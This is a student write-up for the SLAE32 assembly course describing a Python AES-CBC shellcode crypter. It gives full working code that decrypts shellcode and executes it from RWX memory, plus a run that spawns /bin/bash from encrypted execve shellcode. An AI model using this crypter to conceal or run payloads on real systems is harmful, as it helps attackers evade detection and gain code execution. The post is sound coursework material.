SLAE32 - Assignment 7
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: https://www.pentesteracademy.com/course?id=3
Student ID: PA-15072
All associated code can be found here: https://github.com/pAP3R/public/tree/master/SLAE32/assignments
Here's decrypting and executing the encrypted shellcode:
This was by far my favorite assignment. It built on all the previous things we've learned during the course, as well as forced me to learn some more python, which I'm grateful for.
Anyway, that's it for assignment seven and the SLAE32 course!
Student ID: PA-15072
All associated code can be found here: https://github.com/pAP3R/public/tree/master/SLAE32/assignments
Crypters
For this assignment, students are tasked with creating a custom shellcode crypter.
Requirements:
- Create a custom crypter like the one shown in the "crypters" video
- Free to use any existing encryption schema
- Can use any programming language
Task 7 was... interesting. By far the most time spent headbanging (to metal and against metal), while also sporting the biggest facepalm.
My original plan did end up being the outcome, although it took a detour and ended up at the same result. For this task I decided to go the AES CBC route-- it's a common and easily implemented encryption scheme. Using this article, I was able to come up with a PoC encryption / decryption script pretty quickly. I even fixed the padding issue before it even became a problem. By 'fixed' I mean 'anticipated', which is awesome! That was a big confidence boost overall, as it cemented some of the lesser practiced skills. The encryption and decryption took very little time, but the script itself was pretty lame-- the shellcode was hardcoded within it, it didn't spit things out in cool formats and there was a single argument, just for the key.
Not liking boring things, I spent the next while (read: loooong time) fighting with the way python3 handles \x90 hex notation from the CLI. Storing a \x notated hex byte as a, well... byte, that's stored in a variable with the type() of 'string' is a lot harder than I anticipated. I got it figured out with some help eventually, but alas the problems continued. Once I had my fiftieth cheeky encoding fix, I felt like I was pretty much done. I found some of the common techniques for executing shellcode from python and... none of them worked. It took a while to figure out what was happening. Mostly because the scripts did, sorta nothing at all once they got to the 'executing shellcode' part. That was a bummer.
I suspected memory protections might be at play, as my original shellcodes matched my encrypted / decrypted ones. I found a comment that alluded to modern python versions putting the values used in ctype into areas of memory that CAN'T be munprotected, so I moved back from my Kali 2020 box to an older ubuntu VM. Installed the script's prerequisites and ran it in python 2.7.
And obviously, it worked.
I was relieved, but also a little frustrated. The lack of output from the script when running in kali was a little annoying-- I'm not sure how to ascertain the root cause, so it's just more to look into. Honestly, I'm still pretty stoked on the script-- it's overall utility is pretty neat and I learned a lot about the process involved, I probably learned the most about python3 encodings though :shrug
The below is written in python3 and does a lot of stuff that's just not really necessary in py2.7. Everything works in 2.7 and everything BUT the execution works in python 3 on Kali 2020.
#!/usr/bin/env python # AES Shellcode Encrypter / Decrypter # For SLAE32 # Howard McGreehan from Crypto.Cipher import AES import ctypes import mmap import sys, os, argparse, base64 parser = argparse.ArgumentParser() parser.add_argument("-s", "--shellcode", help="Shellcode in \\x90 format", type=str, required=True) parser.add_argument("-k", "--key", help="The AES key", type=str, required=True) parser.add_argument("-d", help="Base64'd, AES CBC encrypted shellcode", action="store_true") parser.add_argument("-e", help="Encrypt shellcode with AES CBC", action="store_true") args = parser.parse_args() # First check the args if len(sys.argv) < 3: print("[!] Not enough arguments, exiting.") sys.exit() # Check the shellcode length and pad it if necessary def padShellcode(shellcode): pl = 16 - (len(shellcode) % 16) if (pl >= 1 or pl != 16): print("[!] Shellcode is %s bytes, %s bytes of padding are needed for AES CBC encryption" % (len(shellcode), pl)) paddedShellcode = bytearray(b'\x90' * pl + shellcode) else: print("[+] Shellcode is a multiple of 16, no padding is required! Length: %s" % len(shellcode)) return paddedShellcode def encrypt(key, data): iv = os.urandom(16) aes = AES.new(key, AES.MODE_CBC, iv) return iv + aes.encrypt(bytes(data)) def decrypt(key, cipherText): iv = cipherText[:AES.block_size] aes = AES.new(key, AES.MODE_CBC, iv) decoded = aes.decrypt(cipherText) return decoded[AES.block_size:] def normalize(s): normalized = "" for byte in bytearray(s): normalized += '\\x%02x' % (byte) return normalized def py3ShellcodeFix(s): # get the string and split on the \x characters code = s.split('\\x') # remove any blank strings that may appear (you might also be able to get away with just doing code[1:] instead) code = list(filter(lambda x: x != '', code)) # for each base 16 "character", convert it into a list of integers, then convert all that into a bytearray return bytearray([int(x, 16) for x in code]) # Will NOT work in python3 / newer machines def runShellcode(shellcode): # Allocate memory with a RWX private anonymous mmap exec_mem = mmap.mmap(-1, len(shellcode), prot = mmap.PROT_READ | mmap.PROT_WRITE | mmap.PROT_EXEC, flags = mmap.MAP_ANONYMOUS | mmap.MAP_PRIVATE) # Copy shellcode from bytes object to executable memory exec_mem.write(shellcode) # Cast the memory to a C function object ctypes_buffer = ctypes.c_int.from_buffer(exec_mem) function = ctypes.CFUNCTYPE( ctypes.c_int64 )(ctypes.addressof(ctypes_buffer)) function._avoid_gc_for_mmap = exec_mem # Return pointer to shell code function in executable memory return function if args.e: shellcode = py3ShellcodeFix(args.shellcode) paddedShellcode = padShellcode(shellcode) encryptedShellcode = encrypt(args.key, paddedShellcode) n = normalize(encryptedShellcode) print("[+] Encrypted shellcode (raw):\n%s\n" % encryptedShellcode) print("[+] Encrypted shellcode (\\x):\n%s\n" % n) print("[+] Encrypted shellcode (base64):\n%s\n" % base64.b64encode(encryptedShellcode)) if args.d: shellcode = py3ShellcodeFix(args.shellcode) decrypted = decrypt(args.key, bytes(shellcode)) n = normalize(decrypted) print("[+] Decrypted shellcode (raw):\n%s\n" % decrypted) print("[+] Decrypted shellcode (\\x):\n%s" % n) print("[*] Executing shellcode...") runShellcode(decrypted)()Here's a sample run when encrypting shellcode from the command line:
tester@ubuntu-slae32:~/Desktop$ python crypter.py -s "\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" -e -k testtesttesttest [!] Shellcode is 30 bytes, 2 bytes of padding are needed for AES CBC encryption [+] Encrypted shellcode (raw): �E�Q��`�K���ܟe�ZK(��8t�ИY���e}�W���N �j�75b> [+] Encrypted shellcode (\x): \xe2\xb0\x08\x45\xd6\x51\x99\xbe\x60\xeb\x4b\xb2\xa7\x82\xdc\x9f\x65\x9d\x5a\x4b\x28\xff\xa8\x38\x74\xe5\xd0\x98\x59\x88\xee\xe4\x65\x7d\x86\x57\x8a\xa2\x85\x4e\x20\x95\x6a\xbf\x37\x35\x62\x3e [+] Encrypted shellcode (base64): 4rAIRdZRmb5g60uyp4Lcn2WdWkso/6g4dOXQmFmI7uRlfYZXiqKFTiCVar83NWI+
tester@ubuntu-slae32:~/Desktop$ python crypter.py -s "\xe2\xb0\x08\x45\xd6\x51\x99\xbe\x60\xeb\x4b\xb2\xa7\x82\xdc\x9f\x65\x9d\x5a\x4b\x28\xff\xa8\x38\x74\xe5\xd0\x98\x59\x88\xee\xe4\x65\x7d\x86\x57\x8a\xa2\x85\x4e\x20\x95\x6a\xbf\x37\x35\x62\x3e" -d -k testtesttesttest [+] Decrypted shellcode (raw): ��1�Phbashhbin/h////��P��S��� [+] Decrypted shellcode (\x): \x90\x90\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80 [*] Executing shellcode... tester@ubuntu-slae32:/home/tester/Desktop$ id uid=1000(tester) gid=1000(tester) groups=1000(tester),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare) tester@ubuntu-slae32:/home/tester/Desktop$ exit exit tester@ubuntu-slae32:~/Desktop$
Anyway, that's it for assignment seven and the SLAE32 course!